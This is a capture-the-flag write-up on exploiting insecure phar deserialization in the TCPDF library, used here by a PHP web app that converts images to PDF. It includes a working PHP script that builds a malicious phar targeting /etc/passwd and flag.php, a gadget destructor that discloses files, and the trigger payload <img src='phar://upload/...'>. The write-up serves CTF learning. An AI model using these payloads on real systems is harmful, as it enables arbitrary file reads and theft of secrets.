Deserialization is a vulnerability class that’s often overlooked. It’s great that this year’s CCCamp CTF included an interesting web based challenge that is based on this vulnerability class.
The Target
The challenge includes a link to a web service that allows converting user-supplied images into PDF files. Users can upload image files, add some additional HTML content in a textbox and render the whole thing into a PDF file:
A ZIP file with the source code of the web application is also available.
The following things are noteworthy:
- The PHP based web application uses the TCPDF library in version
6.2.13
for the conversion process. - In the webroot, there’s a file called
flag.php
that would contain the flag on the challenge server. The file in the supplied ZIP only includes a dummy flag. The presence of this file could be seen as a hint that the contents of this file have to be read using a RCE or an other exploit. - It’s not possible to simply upload a PHP web shell because uploaded files are checked regarding file type and exif information. I wasn’t able to bypass this check and I think it’s not possible to do this in the first place.
- Uploaded files are stored in the
/upload
folder.
I decided to check the TCPDF libary for public vulnerabilities. I came across a RCE vulnerability for versions <= 6.2.19
that’s based on insecure phar
deserialization. The exploit also referenced the slides of a talk at BlackHat 2018 that explains phar
based exploits and also contains a case study of the TCPDF library.
Exploiting PHP Phar Deserialization
Because I couldn’t explain phar
deserialization exploits any better, let’s quote Daniel Timofte:
Similar to ROP (return-oriented programming) attacks on compiled binaries, this type of exploitaton is carried through PHP object injection (POI), a form of property-oriented programming (POP) in the context of object-oriented PHP code.
Cool. What?
A phar
file allows merging whole PHP applications into a single compressed file. Therefore this can also contain serialized PHP objects. The PHP phar://
stream wrapper can be used to work with these files and cause the phar
file to be read and the stored objects to be instantiated. Various magic PHP functions are called implicitly while this whole thing takes place, such as the object destructor called __destruct()
.
In order to use this for exploitation, you need these things:
- A way to upload a crafted
phar
file to the server. Let’s assume we already have this, since the web application allows uploading image files. - A vulnerable class, also called a gadget in this context, that does dangerous things on objects in magic functions like
__destruct()
. - Some way to trigger deserialization using the
phar://
stream wrapper.
An example of such a dangerous thing can be executing system()
on an object attribute value. An attacker could therefore upload a malicious phar
file that contains a malicious shell command as a value of one of the string attributes. After causing the phar
to be deserialized, the destructor is called which in turn executes system()
with the attacker-supplied command as argument.
Insecure phar:// Handling in TCPDF
The essence of the TCPDF vulnerability is that user-supplied <img>
tags are handled in a way that allows an attacker to reach a call to file_exists
in the vulnerable library. There are various file system functions that cause phar
s to be deserialized, and of course this one is among them. This can be exploited using an attacker-controlled parameter that references a file path with the phar://
handler. Consider the following example in the context of TCPDF:
<img src="phar://upload/hax.phar">
Upon entering this line in the web applications HTML input textbox, the following things happen:
- The web application parses the
<img>
tag inopenHTMLTagHandler()
. This function internally makes a call toImage()
with the first parameter being the user-supplied file path of the image, including thephar://
wrapper. - The
Image()
function then tries to check whether the given file path actually exists usingfile_exists(filepath)
. - Because the file path starts with
phar://
, the web application will then try to deserialize the given file. __destruct()
will be called eventually using the attacker-supplied object that may result in the exploitation to succeed.
It seems that the vulnerable functions mentioned in the talk are also present in the 6.2.12
version of TCPDF that the challenge is based on. This seems like a good strategy to solve this challenge.
Ok cool but how to exploit this?
Crafting A Malicious Phar
The first thing that’s required for this to work is a fitting gadget. There’s a nice toolkit for this that’s called phpggc. Unfortunately, the gadgets included in this tool can’t be used to exploit the target but it serves as a good example of how do pull this attack off.
Finding A Gadget
After doing some research it became clear that TCPDF doesn’t contain a fitting gadget, so I decided to check out the web applications itself and not just the vulnerable library. After some really thorough analysis (really 1337 grep
), the contents creator.php
file were found to be suspicious. It contains a class called PDFCreator
that also has its own destructor:
function __destruct()
{
if (file_exists($this->tmpfile))
{
$info = pathinfo($this->tmpfile);
if ($info['extension'] == "pdf")
{
unlink($this->tmpfile);
}
else
{
echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
}
}
}
We can use this to gadget read arbitrary files on the remote server. When destructing an object with a tmpfile
value without pdf
extension, the tmpfile
is being shown to the user with echo
. This can be used to get the contents of flag.php
:)
Please note that gadgets of this kind can also exist in any third party library that a web application is using internally.
Constructing The Phar
First it’s required to create a php.ini
file with this content:
[phar]
phar.readonly = 0
By default this setting is set to 1
which prevents creating phar
files.
Consider this PHP listing that can be used to create a phar
that can be deserialized by the target web application:
<?php
namespace PDFStuff {
class PDFCreator { public $tmpfile = "/etc/passwd"; }
$phar = new \Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
# Setting the metadata serializes the payload object
$payload = new PDFCreator();
# Here’s where the object is serialized and added to the Phar
$phar->setMetadata($payload);
# Add a dummy file to respect the Phar specifications
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
This is a modified version of the phar
creator that can be found in the second part of Daniel Timofte’s great blog post.
PHP saves objects in phar
files according to their namespaces and class names. This means that in order to allow correct deserialization on the target server, the original namespace and class names have to be used for the malicious serialized object. This is why the whole code is wrapped in the correct namespace, as determined using the provided source code.
Another interesting thing is that we only need to provide the correct names and attributes for the deserialization to work on the other end. No unnecessary other attributes or imports are required.
Calling
php -c php.ini creator.php
yields a test.phar
that contains the crafted object. After commenting out the file type and exif checks on a local instance of the target web application, this has been found to work perfectly.
Making A Phar-JPEG Polyglot
The only missing thing is that the created phar
is in fact not a valid picture file. Therefore this file will be rejected by the target server and can’t be uploaded this way.
The talk mentioned before also contains information on Phar-JPEG polyglot files. These are files that seem to be images but in fact they embed valid phar
file inside. This can be built manually or using this great tool. I’ve used the latter with some slight modifications to make it work with the custom gadget. Of course, $tmpfile
has been set to './flag.php'
to get the flag.
Getting The Flag
After uploading the flag and modifying the HML to include
<img src="phar://upload/<filename>.jpg">
the flag can be found in the HTML source code:
$flag = "ALLES{phar_jpeg_polyglot_madness_such_w0w}"
Peace out, thanks to ALLES CTF and 0x4d5a for this challenge :)